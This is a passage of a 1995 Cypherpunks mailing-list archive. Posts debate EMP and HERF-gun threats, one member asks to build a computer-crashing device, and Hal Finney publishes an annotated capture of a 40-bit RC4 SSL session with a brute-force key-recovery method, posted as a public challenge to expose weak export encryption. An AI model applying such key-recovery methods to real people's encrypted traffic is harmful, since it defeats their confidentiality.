Date: Wed, 12 Jul 95 10:19:00 PDT
Subject: My only words on "Electromagnetic Pulse" Damage
Message-ID: <ac294be5040210042e73@[205.199.118.202]>



Much discussion this morning about EMP, electromagnetic pulse weapons, HERF
guns, Winn Schwartau's "Information Warfare" scenarios, TEMPEST, etc.

Not closely related to Cypherpunks themes, but lots of speculation is
continuing. I happen to know a fair amount about chip vulnerability to
various kinds of radiation and electrostatic discharge, and have had
contacts with folks who know Schwartau. (I was also interviewed for a
Schwartau-oriented BBC television program called "The I-Bomb.")

Here's what I know:

* EMP can of course zap devices. High electric field gradients can induce
voltage drops that blow inputs, burn out circuits, etc. Lots of mechanisms
for this, of course. Latch-up in CMOS circuits, field oxide overvoltage
breakdown, etc. There is an entire sub-industry devoted to electrostatic
discharge (ESD), with conferences, products, consulting services, etc.

* However, getting the voltages coupled into circuits is another matter.
Modern chips can usually handle static charge buildups that are in the tens
of thousands of volts range (input protection devices are on the input
pads). Static discharge should be avoided (wrist straps, etc.), but most
modern devices will survive the static discharges that folks can generate.

* The point? A _distant_ (tens of meters away) source of electromagnetic
fields will have a pretty hard time of creating field gradients able to
equal these 10,000 volt local fields caused routinely by static buildup.
(Electric fields are of course measured in terms of "volts per meter"...do
the math.)

* The traditional EMP work is well-covered in each year's "Nuclear and
Space Radiation Effects Conference," the Proceedings of which are included
in the December issue each year of "IEEE Transactions on Nuclear Science
and Space Radiation Effects." I advise anyone interested in this topic to
consult these sources. (I've been to a few of these conferences, beginning
in 1978.)

* Most of the traditional EMP work is oriented toward the detonation of
nukes in orbit, where the interaction of the photons from the bomb with
electrons in the upper atmosphere create an electromagnetic field of
millions of volts per meter, the so-called "electromagnetic pulse" that
blows circuits. (This effect was apparently first noticed, by U.S.
scientists at least, after a 1962 high altitude burst over Johnson Atoll in
the Pacific, with electric circuits as far away as Hawaii being blown.)

* Schwartau has not, to my knowledge, ever seen a direct demonstration of
the effects he is describing in his book. In fact, much of his "HERF gun"
stuff is admittedly speculative.

* He has gotten interest from British intelligence (MI-5 or MI-6, not sure
which) in his "scenarios" for knocking out financial centers with EMP bombs
and HERF guns. A friend of mine, who can speak up if he wishes here, has
had some contacts with Schwartau and may have started to do some
preliminary experiments on this stuff.

(The EMP/HERF folks in governments have of course a lot of experience here.
I'm just saying that the "Schwartau crowd" appears to just be getting
started on actual experiments, so any speculations in "Information Warfare"
should be taken as just that, as speculations.)

* As a matter of commenting on one thread about damage to the "HERF gun"
itself, the conventional notion is that such a device would be a "set and
forget" device, with a suitcase planted near a corporate office complex and
set to "detonate" some time later. All the talk about reuse and damage to
the operator is beside the point. (As is the speculation about effects on
the human  body....bodies can withstand incredibly high fields, so long as
a ground path for current does not form (electrocution)....I could go on
about this, but won't.)

* In my opinion, Schwartau's chief interest is in spreading fear and
concern about the "vulnerability" of the world's "information
infrastructure." This cranks up interest in his book, in getting talk show
interviews, etc. He may have "patriotic" motives as well, but I think a
large part of what we're seeing is the usual, and increasingly common,
journalistic hype.

This is not to say there is no basis for concern, just that this is not the
first and foremost concern. After, cutting power lines has long been an
easy way to knock out economic activity--it may have recently happened in
Penang, Malaysis, for example, where many chip assembly plans were knocked
off-line for a few weeks by a power cable cut.

This is all I'll say on the current debate on TEMPEST, HERF, EMP, etc.

--Tim May

..........................................................................
Timothy C. May         | Crypto Anarchy: encryption, digital money,
tcmay at sensemedia.net   | anonymous networks, digital pseudonyms, zero
408-728-0152           | knowledge, reputations, information markets,
Corralitos, CA         | black markets, collapse of governments.
Higher Power: 2^756839 | Public Key: PGP and MailSafe available.
"National borders are just speed bumps on the information superhighway."







From hfinney at shell.portal.com  Wed Jul 12 10:23:37 1995
From: hfinney at shell.portal.com (Hal)
Date: Wed, 12 Jul 95 10:23:37 PDT
Subject: SSL RC4 challenge
Message-ID: <199507121722.KAA19834@jobe.shell.portal.com>


Here is a challenge to try breaking SSL using the default exportable
encryption mode, 40-bit RC4.  It consists of a record of a submission
of form data which was sent to Netscape's electronic shop order form in
"secure" mode.  However the data I entered in the form is not my real
name and address.  The challenge is to break the encryption and recover
the name and address info I entered in the form and sent securely to
Netscape.

(A URL for info on SSL is http://home.netscape.com/newsref/std/SSL.html.)

Below is the data which was sent back and forth, along with some
annotations to help interpret it.  The connection was made to
order.netscape.com at port 443, the https port.

The following is the first message from client to server, the
CLIENT-HELLO message.  It is not encrypted.

0x80 0x1c 0x01 0x00 0x02 0x00 0x03 0x00 0x00 0x00 0x10 0x02 0x00 0x80 0xaf 0x84
0xa7 0x79 0xf8 0x13 0x69 0x20 0x25 0x9b 0x53 0xa0 0x60 0xae 0x75 0x51 

This is interpreted as follows:

0x80 0x1c	Length field: 28 bytes follow in the packet.
0x01		MSG_CLIENT_HELLO
0x00 0x02	CLIENT-VERSION-MSB CLIENT-VERSION-LSB
0x00 0x03	CIPHER-SPECS-LENGTH-MSB CIPHER-SPECS-LENGTH-LSB
0x00 0x00	SESSION-ID-LENGTH-MSB SESSION-ID-LENGTH-LSB
0x00 0x10	CHALLENGE-LENGTH-MSB CHALLENGE-LENGTH-LSB
0x02 0x00 0x80	CIPHER-SPECS-DATA
<none>		SESSION-ID-DATA
0xaf...0x51	CHALLENGE-DATA [16 bytes]

The only cipher spec sent (and hence supported) by the browser is
0x02 0x00 0x80, which is SSL_CK_RC4_128_EXPORT40_WITH_MD5.  No session id
is sent, hence new key information will be calculated for this session.
And 16 bytes of challenge data are sent in the clear; this will be useful
as known plaintext returned encrypted by the server later.

The following data is then returned by the server, in the SERVER-HELLO
message:

0x82 0x2b 0x04 0x00 0x01 0x00 0x02 0x02 0x0d 0x00 0x03 0x00 0x10 0x30 0x82 0x02
0x09 0x30 0x82 0x01 0x72 0x02 0x02 0x00 0x88 0x30 0x0d 0x06 0x09 0x2a 0x86 0x48
0x86 0xf7 0x0d 0x01 0x01 0x04 0x05 0x00 0x30 0x47 0x31 0x0b 0x30 0x09 0x06 0x03
0x55 0x04 0x06 0x13 0x02 0x55 0x53 0x31 0x10 0x30 0x0e 0x06 0x03 0x55 0x04 0x0b
0x13 0x07 0x54 0x65 0x73 0x74 0x20 0x43 0x41 0x31 0x26 0x30 0x24 0x06 0x03 0x55
0x04 0x0a 0x13 0x1d 0x4e 0x65 0x74 0x73 0x63 0x61 0x70 0x65 0x20 0x43 0x6f 0x6d
0x6d 0x75 0x6e 0x69 0x63 0x61 0x74 0x69 0x6f 0x6e 0x73 0x20 0x43 0x6f 0x72 0x70
0x2e 0x30 0x1e 0x17 0x0d 0x39 0x35 0x30 0x32 0x32 0x34 0x30 0x31 0x30 0x39 0x32
0x34 0x5a 0x17 0x0d 0x39 0x37 0x30 0x32 0x32 0x33 0x30 0x31 0x30 0x39 0x32 0x34
0x5a 0x30 0x81 0x97 0x31 0x0b 0x30 0x09 0x06 0x03 0x55 0x04 0x06 0x13 0x02 0x55
0x53 0x31 0x13 0x30 0x11 0x06 0x03 0x55 0x04 0x08 0x13 0x0a 0x43 0x61 0x6c 0x69
0x66 0x6f 0x72 0x6e 0x69 0x61 0x31 0x16 0x30 0x14 0x06 0x03 0x55 0x04 0x07 0x13
0x0d 0x4d 0x6f 0x75 0x6e 0x74 0x61 0x69 0x6e 0x20 0x56 0x69 0x65 0x77 0x31 0x2c
0x30 0x2a 0x06 0x03 0x55 0x04 0x0a 0x13 0x23 0x4e 0x65 0x74 0x73 0x63 0x61 0x70
0x65 0x20 0x43 0x6f 0x6d 0x6d 0x75 0x6e 0x69 0x63 0x61 0x74 0x69 0x6f 0x6e 0x73
0x20 0x43 0x6f 0x72 0x70 0x6f 0x72 0x61 0x74 0x69 0x6f 0x6e 0x31 0x16 0x30 0x14
0x06 0x03 0x55 0x04 0x0b 0x13 0x0d 0x4f 0x6e 0x6c 0x69 0x6e 0x65 0x20 0x4f 0x72
0x64 0x65 0x72 0x73 0x31 0x15 0x30 0x13 0x06 0x03 0x55 0x04 0x03 0x13 0x0c 0x41
0x72 0x69 0x20 0x4c 0x75 0x6f 0x74 0x6f 0x6e 0x65 0x6e 0x30 0x5a 0x30 0x0d 0x06
0x09 0x2a 0x86 0x48 0x86 0xf7 0x0d 0x01 0x01 0x01 0x05 0x00 0x03 0x49 0x00 0x30
0x46 0x02 0x41 0x00 0xa5 0xa7 0x7b 0x42 0xb1 0x79 0x2d 0x0b 0x35 0x08 0xb4 0x0d
0x74 0x1d 0x46 0x6a 0x29 0x07 0x47 0x08 0xdc 0x3a 0x76 0x36 0xbd 0x7f 0xb3 0xd4
0xa9 0x85 0x9d 0x4b 0x65 0x74 0xc1 0x00 0x56 0xec 0x5a 0x31 0x72 0x23 0x04 0xc1
0xcf 0x78 0x63 0x21 0x77 0x69 0xd9 0xf0 0x61 0xc8 0x73 0xf7 0xdc 0x4c 0xde 0xd2
0x22 0x99 0x79 0xdf 0x02 0x01 0x03 0x30 0x0d 0x06 0x09 0x2a 0x86 0x48 0x86 0xf7
0x0d 0x01 0x01 0x04 0x05 0x00 0x03 0x81 0x81 0x00 0x7e 0x4a 0x28 0x7d 0xba 0xfa
0x41 0x5a 0x19 0x1c 0x9a 0xea 0x6d 0x3b 0x07 0x1c 0x97 0xe0 0xf5 0xf8 0x4c 0xd5
0x92 0x0c 0x1c 0x30 0x49 0x06 0x72 0x42 0x9a 0x3f 0xfc 0x3b 0x11 0x17 0x78 0x7e
0x6c 0x27 0x8a 0x12 0x19 0xf3 0x08 0x18 0x6e 0xe0 0xc3 0xbe 0xe7 0x37 0xbd 0x4e
0xae 0xe1 0x9e 0x4a 0x3b 0xa9 0xbf 0xc0 0x92 0x59 0x2c 0xdb 0x37 0x34 0xc8 0xa0
0xc0 0xba 0xb8 0x6f 0xd3 0xd6 0xc7 0x48 0x88 0xbc 0xd6 0xff 0x7a 0xf7 0x76 0x70
0x2c 0x19 0x07 0xc8 0x7c 0x80 0x29 0x18 0x58 0xfc 0xd1 0x12 0x86 0x99 0x4e 0x32
0xee 0xb9 0xf5 0x11 0x70 0xd5 0x1b 0xf7 0x85 0x5b 0x4a 0x0e 0xd6 0xe6 0x6c 0x52
0xf5 0x8a 0x2c 0x97 0x3e 0x63 0x85 0x57 0x43 0xbc 0x02 0x00 0x80 0xbf 0xeb 0x90
0xf8 0x2c 0x0c 0xe1 0xea 0x18 0xac 0x11 0x4c 0x83 0x14 0x21 0xb6 

This is interpreted as follows:

0x82 0x2b	Packet length, 555 bytes follow.
0x04		MSG-SERVER-HELLO
0x00		SESSION-ID-HIT
0x01		CERTIFICATE-TYPE
0x00 0x02	SERVER-VERSION-MSB SERVER-VERSION-LSB
0x02 0x0d	CERTIFICATE-LENGTH-MSB CERTIFICATE-LENGTH-LSB
0x00 0x03	CIPHER-SPECS-LENGTH-MSB CIPHER-SPECS-LENGTH-LSB
0x00 0x10	CONNECTION-ID-LENGTH-MSB CONNECTION-ID-LENGTH-LSB
0x30...0xbc	CERTIFICATE-DATA [525 bytes]
0x02 0x00 0x80	CIPHER-SPECS-DATA
0xbf...0xb6	CONNECTION-ID-DATA [16 bytes]

Most of the packet is the certificate.  SESSION-ID-HIT is 0 since no
session ID was sent by the client.  After the 525 (0x020d) bytes of
certificate comes the 3 byte code for 40 bit RC4, then the 16 byte
connection ID.  The main importance of the connection ID data here
is that it helps to calculate the session keys as described below.

The next message, from the client to the server, is the CLIENT-MASTER-KEY
sent mostly in the clear:

0x80 0x55 0x02 0x02 0x00 0x80 0x00 0x0b 0x00 0x40 0x00 0x00 0x0e 0x89 0x94 0xb8
0xbf 0x0e 0xb9 0x2e 0x50 0x44 0x07 0x8c 0x52 0xeb 0xef 0x44 0xc1 0x01 0x4b 0xc1
0x02 0xd2 0x2e 0x37 0x1f 0x1d 0x54 0xc2 0x83 0x45 0x79 0x6b 0xc8 0xe3 0x85 0x17
0xb8 0xd4 0x84 0xc6 0x9f 0xb1 0x6a 0x03 0x2e 0x97 0xae 0x82 0x75 0x10 0xf0 0x7b
0x5f 0x25 0x7b 0x88 0x75 0xc6 0x7a 0x33 0x5f 0xd6 0x96 0x99 0x94 0xd0 0x7a 0x78
0xae 0x50 0x32 0x1a 0xbb 0x66 0x50 

It is interpreted as follows:

0x80 0x55	Packet length, 85 bytes follow.
0x02		MSG-CLIENT-MASTER-KEY
0x02 0x00 0x80	CIPHER-KIND
0x00 0x0b	CLEAR-KEY-LENGTH-MSB CLEAR-KEY-LENGTH-LSB
0x00 0x40	ENCRYPTED-KEY-LENGTH-MSB ENCRYPTED-KEY-LENGTH-LSB
0x00 0x00	KEY-ARG-LENGTH-MSB KEY-ARG-LENGTH-LSB
0x0e...0x07	CLEAR-KEY-DATA [11 bytes]
0x8c...0x50	ENCRYPTED-KEY-DATA [64 bytes]
<none>		KEY-ARG-DATA

The 11 most significant bytes (88 bits) of "master key" information are
sent in the clear as the CLEAR-KEY-DATA.  The remaining 40 low-order
bits of the 128-bit master key are RSA encrypted using the server's
public key, expanding in the process to 64 bytes, and sent as the
ENCRYPTED-KEY-DATA.  No KEY-ARG-DATA is sent since RC4 doesn't need an
initialization vector.

Now that these packets have been exchanged, from this point on, all
packets are sent encrypted.  For each such packet, after the packet
length bytes there is a 16-byte Message Authentication Code (MAC).
Then comes the RC4 encrypted data itself.

Two different session keys are used, both generated from the master key,
the 16-byte challenge data, and the 16-byte connection ID data.  The
CLIENT-READ-KEY, used for data sent from server to client, is calculated
as:

	MD5 (MASTER-KEY, "0", CHALLENGE, CONNECTION-ID).

"0" is one byte of 0x30, ascii 0.

The CLIENT-WRITE-KEY, used for data sent from client to server, is
calculated as:

	MD5 (MASTER-KEY, "1", CHALLENGE, CONNECTION-ID).

"1" is one byte of 0x31, ascii 1.

MD5 produces 128 bits of output which are used directly as the key input
to the RC4 algorithm.

The next message, from server to client, is SERVER-VERIFY.  It is sent
encrypted:

0x80 0x21 0x37 0x68 0x3a 0x8c 0x7d 0x33 0xb2 0x2f 0xb9 0x66 0xeb 0xd2 0x63 0xcd
0xa7 0xed 0x71 0xa0 0xb6 0x2f 0xb6 0xe2 0x31 0xa4 0x2a 0x81 0xd3 0x25 0x61 0x58
0xbc 0xf0 0xf4 

This is interpreted as follows:

0x80 0x21	Packet length, 33 bytes follow
0x37...0xed	MAC [16 bytes]
0x71		RC4 encrypted MSG-SERVER-VERIFY (0x05)
0xa0...0xf4	RC4 encrypted CHALLENGE-DATA from CLIENT-HELLO message
		[16 bytes]

The first RC4 encrypted byte is MSG-SERVER-VERIFY (which has a value of
0x05).  This is followed by 16 bytes of challenge data from the first
client message, encrypted.  These 17 bytes represent known plaintext
which can be used to easily check any guessed RC4 CLIENT-READ-KEY.

Let me make this a little more clear.  The first RC4 encryption with the
CLIENT-READ-KEY, immediately after key setup, is as follows:

Plaintext (MSG-SERVER-VERIFY plus CHALLENGE-DATA):

0x05 0xaf 0x84 0xa7 0x79 0xf8 0x13 0x69 0x20 0x25 0x9b 0x53 0xa0 0x60 0xae 0x75
0x51 

Ciphertext (from SERVER-VERIFY packet):

0x71 0xa0 0xb6 0x2f 0xb6 0xe2 0x31 0xa4 0x2a 0x81 0xd3 0x25 0x61 0x58 0xbc 0xf0
0xf4 

The next message in the protocol is CLIENT-FINISHED, sent encrypted from
client to server:

0x80 0x21 0xed 0x59 0x0a 0x2a 0x80 0x50 0x42 0xec 0xcd 0xed 0x6c 0x96 0x0a 0xab
0x5c 0x0e 0xed 0x55 0xc3 0x21 0x6e 0x34 0x26 0x5b 0x46 0x41 0x35 0x51 0xb7 0xaa
0xec 0x57 0x9f 

This is interpreted as follows:

0x80 0x21	Packet length, 33 bytes follow
0xed...0x0e	MAC [16 bytes]
0xed		RC4 encrypted MSG-CLIENT-FINISHED (0x03)
0x55...0x9f	RC4 encrypted CONNECTION-ID from SERVER-HELLO [16 bytes]

This is the first message sent encrypted with the CLIENT-WRITE-KEY and
could also be used as known plaintext to check a guessed key.

The next message is SERVER-FINISHED, sent encrypted from server to
client:

0x80 0x21 0x79 0x84 0xc6 0xb6 0xde 0xf4 0x4c 0xd2 0x52 0x56 0xdc 0x58 0x23 0xa0
0xfa 0x4d 0x06 0x7d 0x4c 0x12 0x32 0x32 0xea 0xaa 0x5a 0xb6 0xa7 0xb8 0x1a 0x66
0xeb 0x65 0x56 

This is interpreted as follows:

0x80 0x21	Packet length, 33 bytes follow
0x79...0x4d	MAC [16 bytes]
0x06		RC4 encrypted MSG-SERVER-FINISHED (0x06)
0x7d...0x56	RC4 encrypted SESSION-ID-DATA [16 bytes]

The SESSION-ID-DATA has not been previously sent in the clear.  It would
be used to cache the key info for a future session.

>From here on out, the handshaking is done.  Every message sent will be
encrypted and packetized.  The first two bytes are packet length, then
16 bytes of MAC, then the data.

First data message from client to server.  Presumably it is an http "GET"
request, with form information embedded in the URL.  This is the main one
to try decrypting (starting with 0x6b as the first encrypted byte).

0x82 0xf8 0x07 0x97 0xef 0x99 0x66 0x45 0x48 0x22 0xe4 0xdc 0x31 0xe4 0xf9 0x0b
0xb9 0x98 0x6b 0x99 0x2a 0x09 0x29 0xae 0xa6 0x8d 0xbf 0xb0 0xd3 0xa6 0x83 0xec
0x69 0x1c 0xcc 0x11 0x66 0x84 0x21 0x77 0xfb 0x86 0x73 0x10 0xfb 0xa9 0xe3 0x3b
0x2f 0xd4 0x0f 0xb9 0xbd 0x3f 0xa4 0x0b 0x41 0xd5 0xc9 0x90 0x6d 0xa7 0x34 0x7a
0x5a 0xc1 0x69 0x8d 0xe9 0x64 0xad 0x0d 0xa8 0xae 0x91 0xd1 0xa6 0x70 0xac 0xf9
0xe6 0x11 0x38 0xa0 0xa7 0xd9 0x7c 0xc7 0x18 0x17 0xe2 0x0d 0x8d 0x30 0xb0 0x1c
0x22 0x25 0xa3 0x61 0xee 0xa2 0xca 0xe5 0xf8 0x20 0x5b 0xe1 0x58 0xcf 0xa5 0x21
0xe3 0x23 0xa6 0xfb 0xf6 0x2b 0xba 0x69 0xca 0xa3 0xe6 0x4a 0x47 0x4c 0x77 0xb8
0xc2 0x93 0x8e 0xb7 0x5d 0x17 0x06 0x57 0x19 0x6e 0x00 0x34 0xd6 0xc5 0x64 0x5e
0x23 0x60 0x03 0xf9 0xb2 0x9d 0xee 0xb4 0x83 0x28 0xae 0xfe 0xbb 0xb0 0xe3 0x49
0xfc 0x8f 0x68 0x24 0x51 0x03 0x26 0x8f 0x2b 0xcd 0xc1 0x0c 0x6d 0x79 0xed 0xc4
0x7f 0x3a 0x1e 0x2a 0xc5 0x4e 0xd8 0xe9 0x35 0x27 0xb7 0xde 0x50 0xc3 0xac 0x49
0x84 0x55 0x90 0xa6 0x44 0xcb 0xf7 0xfc 0x69 0xb4 0x19 0xea 0xb6 0xf0 0x72 0x37
0xef 0xfc 0xdf 0x20 0xaf 0x34 0x10 0xa8 0xf9 0xc2 0x74 0xa8 0x64 0xb2 0xd5 0xe9
0x25 0xd8 0xf2 0xca 0xf6 0xb6 0xa0 0x35 0x6f 0x3c 0x6c 0x4c 0xc6 0x99 0x4e 0x51
0xc4 0x5c 0x32 0x8e 0x0b 0x7c 0x59 0x7b 0xda 0x19 0x3f 0x89 0x7b 0xd3 0x33 0x9c
0x2d 0x20 0x46 0x59 0x26 0xb4 0x20 0x61 0x54 0x49 0xb8 0x71 0xa4 0xde 0x2b 0x7b
0xf3 0xdd 0xb2 0x64 0xa1 0x1a 0x39 0x4b 0x50 0x20 0x21 0x6a 0x9c 0x3d 0x34 0xaf
0x91 0xf4 0x2e 0xe1 0x4c 0x74 0x6a 0xed 0x4e 0x18 0x3d 0x11 0xe5 0xa9 0xf6 0x87
0xb3 0x7a 0xf0 0xf1 0x5e 0x9b 0x9c 0x1f 0xc0 0x44 0x72 0xdc 0xc3 0xe9 0x62 0x88
0x0b 0xec 0x3c 0x71 0x29 0x99 0xac 0xfa 0x1f 0x31 0xdd 0xae 0x5f 0x84 0x3c 0x16
0x04 0xdb 0x9d 0x4b 0xbb 0xdf 0x6c 0x32 0x0e 0xa0 0xe7 0xa0 0xdc 0x6a 0xa5 0x49
0x12 0xd7 0x59 0xce 0x3c 0x5d 0x36 0x46 0xbf 0x0b 0xcb 0xf7 0x0e 0x41 0x50 0x37
0x53 0xb5 0xdf 0x6d 0xc0 0x7e 0x7f 0x35 0x75 0xf5 0xec 0xad 0x40 0xb5 0x69 0x3c
0xb7 0x5c 0x44 0x0b 0x48 0xe6 0x07 0x41 0xb8 0x4c 0x9d 0x2c 0x4c 0xdf 0xf3 0xa7
0x15 0xcf 0x12 0xdd 0x11 0xcb 0xeb 0x3b 0x89 0x11 0x2e 0x6b 0x84 0x1a 0x3d 0xd9
0x25 0xa2 0x51 0xed 0xdf 0x93 0x76 0x86 0xc4 0xa4 0xcb 0xe8 0x5c 0xd8 0x7a 0x41
0x7d 0xc8 0x70 0xa1 0x0c 0xa1 0xd8 0xda 0xe2 0x75 0x05 0x0b 0x0b 0x83 0x3c 0x6c
0x71 0x13 0x42 0x19 0xcd 0x5d 0xd0 0x99 0x7b 0x24 0xc9 0x7b 0xc2 0x1c 0x2e 0x6e
0x78 0xe0 0xad 0x7f 0x7b 0x4b 0x50 0x33 0x7e 0xa0 0xb9 0x93 0xf4 0x75 0x39 0x50
0x41 0x41 0xe3 0x2b 0x0f 0xf1 0xf3 0xbc 0x84 0x9d 0x6f 0xa7 0x27 0xa7 0x58 0x55
0x8d 0xc7 0xf1 0xa1 0xb8 0x60 0x6f 0x0f 0x19 0xac 0xea 0xef 0x2c 0xba 0x90 0x9b
0x79 0x7b 0x61 0x54 0x03 0xf6 0x92 0x10 0xb4 0x9c 0x78 0x85 0xf3 0x7b 0x3f 0x0e
0xf9 0x8e 0x3d 0xa3 0x43 0xab 0xf4 0x33 0xa4 0x55 0x4b 0x86 0x50 0x75 0x93 0x3a
0x50 0x24 0xae 0x70 0x0c 0xde 0xa7 0x52 0x28 0x43 0x07 0x35 0x5c 0x5a 0xeb 0xc0
0xe1 0xba 0x8c 0xcd 0x76 0xdc 0x07 0x1f 0xa4 0x57 0xdd 0x18 0xa3 0x4e 0xc3 0xf3
0x7b 0x2d 0x0e 0x6b 0xb9 0x92 0xc1 0xfb 0x54 0xc8 0xd7 0x33 0x31 0x43 0xe1 0xce
0xb5 0x89 0xbd 0x0d 0x4e 0x14 0xbc 0x64 0xc5 0xf6 0x28 0x58 0x84 0x64 0xe7 0x8c
0xb2 0xa9 0xd2 0x0b 0x9f 0x1c 0x28 0xfd 0x95 0x93 0x8e 0x51 0x9a 0x5b 0xeb 0x0d
0x51 0x60 0x93 0x35 0x7c 0x59 0x7d 0x6f 0x37 0xbd 0xa4 0x9b 0x2d 0x4f 0x75 0x92
0xbe 0x85 0xc6 0xc3 0x68 0xf6 0x41 0xcc 0x51 0x4c 0xfc 0xda 0x21 0xc3 0x77 0xc1
0xe2 0x79 0xe8 0x0d 0xc7 0x26 0xc3 0x14 0x9e 0x48 0x2f 0xa4 0x95 0x21 0x24 0x61
0x31 0xd5 0x3b 0x14 0x42 0x45 0xd1 0x6d 0x90 0xfe 0x72 0x28 0xa7 0x81 0xe9 0x07
0x47 0x8a 0x0d 0xda 0x08 0x99 0xbc 0x76 0x42 0xec 0x0b 0xfd 0xeb 0x69 0x47 0x58
0xd7 0x81 0x6b 0x71 0xf6 0xb6 0xbe 0xcd 0x4e 0x29 0xd9 0xdb 0xc8 0x12 0x5c 0x46
0xa0 0x3c 0x5b 0x57 0x2b 0x59 0x92 0x36 0x3c 0x6a 0xc3 0x4a 0x13 0x41 0x34 0x2f
0x12 0x13 0xa2 0x51 0xfb 0xf2 0xe0 0x0b 0x2f 0xfc 0x14 0x25 0xad 0x60 0x3a 0x35
0x62 0x7e 0xd2 0x11 0x4c 0x4a 0x29 0xa4 0xca 0x44 

This is the first data packet response from the server:

0x80 0x84 0x16 0xc9 0xe0 0x80 0xd6 0x0b 0x4e 0xd8 0xfe 0x00 0xce 0xe2 0x07 0xe1
0xec 0xb9 0x03 0xa8 0x51 0x0b 0xc9 0xd5 0xd9 0x27 0x59 0x07 0x83 0x0c 0x2b 0x75
0x24 0x50 0xcf 0x0c 0xd2 0x8e 0x7b 0xbc 0xbe 0x65 0x48 0x23 0xc9 0xdb 0x82 0x2f
0x54 0x50 0x3b 0xf2 0x50 0xd3 0x15 0x30 0xec 0x78 0xa2 0x61 0x09 0x9a 0x2a 0xc8
0x9c 0x07 0x67 0x70 0x44 0x46 0xca 0xe4 0x65 0x1a 0x0e 0xd9 0x2a 0x77 0xeb 0xc1
0x7e 0x37 0x83 0x43 0x2e 0x26 0xde 0x5f 0x9d 0xa3 0x31 0x87 0xf2 0xe1 0x4f 0x67
0x8d 0xfc 0x4f 0x3f 0x00 0x2c 0x40 0x70 0x34 0x2b 0x62 0x80 0xcf 0x0d 0x93 0xff
0xc9 0x5e 0xd2 0x21 0xf6 0xa4 0xf4 0xd7 0x13 0x13 0x59 0x44 0x6c 0xd1 0xd1 0x05
0x8f 0x5f 0x15 0x10 0x08 0xed 

Here is the second data packet response from the server:

0x81 0x04 0xc9 0x4c 0x54 0xcb 0x2c 0xe0 0x8e 0xf9 0x13 0x31 0xb4 0xf1 0x82 0x92
0xd3 0x65 0xc9 0x45 0x7e 0x0f 0x8e 0x54 0x4f 0x7f 0x35 0xc8 0x20 0xa8 0x55 0x18
0x1e 0x27 0x5d 0x6a 0x53 0x79 0xd2 0x2e 0x01 0x5d 0x06 0x25 0x6f 0xaa 0x49 0x68
0x73 0x4e 0x35 0x6b 0x87 0x47 0x6d 0x26 0xb6 0xb0 0x1e 0xd0 0x96 0xd5 0xe6 0x4f
0x94 0x10 0x9f 0x5f 0x83 0x7e 0x0c 0x67 0x36 0x82 0xce 0xcb 0xb1 0xd5 0xc9 0xf9
0xf5 0x32 0xa9 0xf3 0x31 0xbf 0x40 0xe4 0xa6 0x24 0x0e 0xc3 0xfe 0x61 0x24 0x59
0x9d 0x85 0x35 0x0d 0x7d 0xbe 0x16 0x0b 0x8a 0x98 0x74 0x7b 0x5a 0x37 0x73 0x30
0xd9 0x66 0x6c 0x65 0xaf 0xd4 0xc7 0x2a 0x8f 0x14 0xe3 0xf6 0x06 0x63 0x19 0x53
0xc5 0x9a 0x69 0x63 0x29 0x04 0x7a 0x28 0x0e 0x7b 0x17 0xf3 0x60 0xee 0x9d 0xbd
0xe5 0x00 0x0a 0x9d 0x1b 0xc5 0x26 0x93 0x19 0x78 0x43 0x2f 0xe4 0x9a 0x27 0x3c
0x13 0x03 0x9c 0xab 0xad 0xad 0xe1 0xbd 0x8b 0x7c 0x04 0x74 0x7e 0x08 0x50 0xa6
0x19 0x28 0xb7 0x6c 0xbe 0x2b 0x48 0x14 0xd2 0xcb 0xa6 0xad 0x69 0x41 0x31 0x93
0x3a 0x8d 0x87 0x78 0x80 0xc1 0x85 0xa5 0x7a 0x79 0xd1 0x55 0xca 0xb8 0x94 0x0b
0x65 0x3e 0xf2 0x51 0x8d 0xae 0x89 0x87 0x96 0xae 0xd5 0x4d 0x2f 0x14 0x66 0xe6
0xcc 0x63 0x2f 0x50 0x98 0x98 0x59 0xfa 0xf6 0xeb 0xb6 0x44 0x9d 0xc2 0x6c 0xe2
0x7d 0xc9 0x47 0xfa 0x3d 0xa4 0x6b 0x71 0x52 0xcc 0x15 0xdf 0xb3 0x92 0x3f 0x67
0x8e 0x9e 0x84 0xd6 0x39 0xa0 

This ends the communication.

To try to attack this, the most effective approach would be to calculate
CLIENT-READ-KEY by trying all possible values for the 40 least
significant bits of the MASTER-KEY, and feeding that into the MD5
formula.  Then use the known plaintext in the SERVER-VERIFY message to
check the result.  Once the proper 40 bit value is found,
CLIENT-WRITE-KEY can easily be calculated and the data messages
decrypted.

Good luck!

Hal Finney
hfinney at shell.portal.com





From shamrock at netcom.com  Wed Jul 12 10:28:19 1995
From: shamrock at netcom.com (Lucky Green)
Date: Wed, 12 Jul 95 10:28:19 PDT
Subject: Don't trust the net too much
Message-ID: <199507121725.NAA17614@bb.hks.net>


-----BEGIN PGP SIGNED MESSAGE-----

In article <doug-9506121351.AA0053320 at netman.eng.auburn.edu>,
Doug.Hughes at Eng.Auburn.EDU (Doug Hughes) wrote:

>Go see Winn Schwartau talk about HERF guns sometime. He passed around
>a picture of a device for < US$500 that could crash any computer within
>50 yards..  Then again, it isn't too good for the person firing the gun

URL, anyone? I'd like to build one of those devices.

- -- 
- -- Lucky Green <mailto:shamrock at netcom.com>
   PGP encrypted mail preferred.
- ---
[This message has been signed by an auto-signing service.  A valid signature
means only that it has been received at the address corresponding to the
signature and forwarded.]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Gratis auto-signing service

iQBFAwUBMAQFfSoZzwIn1bdtAQGWBQF/YHqHS5rJfVnuLDd3SV+oq1KhXsP47mE8
WW6IPO+mCDlN+liSfU/4NujUT7mAfLl1
=G/P3
-----END PGP SIGNATURE-----





From erc at khijol.intele.net  Wed Jul 12 10:29:55 1995
From: erc at khijol.intele.net (Ed Carp [khijol Sysadmin])
Date: Wed, 12 Jul 95 10:29:55 PDT
Subject: Don't trust the net too much
In-Reply-To: <doug-9506121658.AA0069320@netman.eng.auburn.edu>
Message-ID: <Pine.3.89.9507121149.A3180-0100000@khijol>


On Wed, 12 Jul 1995, Doug Hughes wrote:

>  This just goes to show that we live in a world of electromagnetic soup.
> We really don't know how it effects the body long term, or whether, having
> more mission or life critical electronics could be interacting with over
> devices. This was the theme of the program.

There have been many examples of this - several cases of hams having 
their pacemakers go nuts when they keyed their transmitters, etc.  But 
that doesn't mean that aviation avionics are sensitive - in fact, devices 
that are specifically designed to receive RF of a specific frequency are 
usually designed to reject RF of a different frequency, especially type 
accepted radios (the avionics package is required to be type accepted for 
that particular class of service, which includes spurious rejection, 
intermod products down XX dB, etc.)

>  Another example was on an airplane (several of them.. older ones mostly
